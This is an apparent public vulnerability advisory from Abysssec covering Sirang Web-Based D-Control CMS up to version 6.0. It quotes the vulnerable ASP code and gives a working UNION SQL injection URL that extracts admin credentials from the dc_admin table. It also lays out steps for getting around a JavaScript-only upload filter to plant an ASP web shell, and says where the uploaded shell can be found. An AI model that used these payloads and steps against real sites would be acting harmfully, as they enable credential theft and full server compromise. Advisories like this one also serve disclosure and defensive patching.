sirang web-based d-control – Multiple Vulnerabilities
''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < Day 8 (0 day) | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ ''' - Title : Sirang Web-Based D-Control Multiple Remote Vulnerabilities - Affected Version : <= v6.0 - Vendor Site : http://www.sirang.com - Discovery : Abysssec.com Description : this CMS suffer from OWASP top 10 !!! some of there will come here ... Vulnerabilites : ====================================================================================================================== 1- SQL Injection Vulnerability is located in content.asp line 131-133 ... txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1" set rs=conn.execute(txt) while not rs.eof ... content.asp line 202-206 ... if id<>"" then txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'" set xx = conn.execute(txt10) if not xx.eof then ... lots of files those will have to do input validation from user input are vulnerable to SQL Injection . PoC : www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/* note : if you can't see result you need to do it blindly ====================================================================================================================== 2- Bypass uploads restriction: after you got user/pass with sql injection go to http://site.com/admin/dc_upload.asp js file line 13-34 : function showthumb(file) { if (file !='') { myshowfile = file; extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe"); allowSubmit = false; while (file.indexOf("\\") != -1) file = file.slice(file.indexOf("\\") + 1); ext = file.slice(file.indexOf(".")).toLowerCase(); for (var i = 0; i < extArray.length; i++) { if (extArray[i] == ext) { allowSubmit = true; break; } } if (allowSubmit) thumb.src=myshowfile; else alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd."); } else { alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd."); } } as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell. you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload) |